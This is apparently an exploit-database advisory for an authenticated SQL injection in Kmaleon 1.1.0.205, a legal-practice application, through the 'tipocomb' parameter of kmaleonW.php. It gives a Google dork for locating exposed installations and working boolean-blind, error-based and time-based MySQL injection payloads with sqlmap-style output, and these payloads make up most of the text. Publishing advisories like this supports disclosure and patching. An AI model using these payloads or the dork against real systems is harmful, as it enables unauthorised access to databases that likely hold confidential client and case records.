Kmaleon 1.1.0.205 SQL Injection

`# Exploit Title: Kmaleon 1.1.0.205 - 'tipocomb' SQL Injection (Authenticated)  
# Google Dork: intitle: "Inicio de Sesión - Kmaleon"  
# Date: 2021-11-05  
# Exploit Author: Amel BOUZIANE-LEBLOND  
# Vendor Homepage: https://www.levelprograms.com  
# Software Link: https://www.levelprograms.com/kmaleon-abogados/  
# Version: v1.1.0.205  
# Tested on: Linux  
  
# Description:  
# The Kmaleon application from levelprogram is vulnerable to  
# SQL injection via the 'tipocomb' parameter on the kmaleonW.php  
  
==================== 1. SQLi ====================  
  
http://127.0.0.1/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb=[SQLI]&isgroup=true  
  
The 'tipocomb' parameter is vulnerable to SQL injection.  
  
GET parameter 'tipocomb' is vulnerable.  
  
---  
Parameter: #1* (URI)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb=-9144 OR 6836=6836&isgroup=true  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb= OR (SELECT 8426 FROM(SELECT COUNT(*),CONCAT(0x7176716b71,(SELECT (ELT(8426=8426,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&isgroup=true  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)  
Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb= OR (SELECT 2738 FROM (SELECT(SLEEP(5)))EYSv)&isgroup=true  
---  
[INFO] the back-end DBMS is MySQL  
back-end DBMS: MySQL >= 5.0.0  
`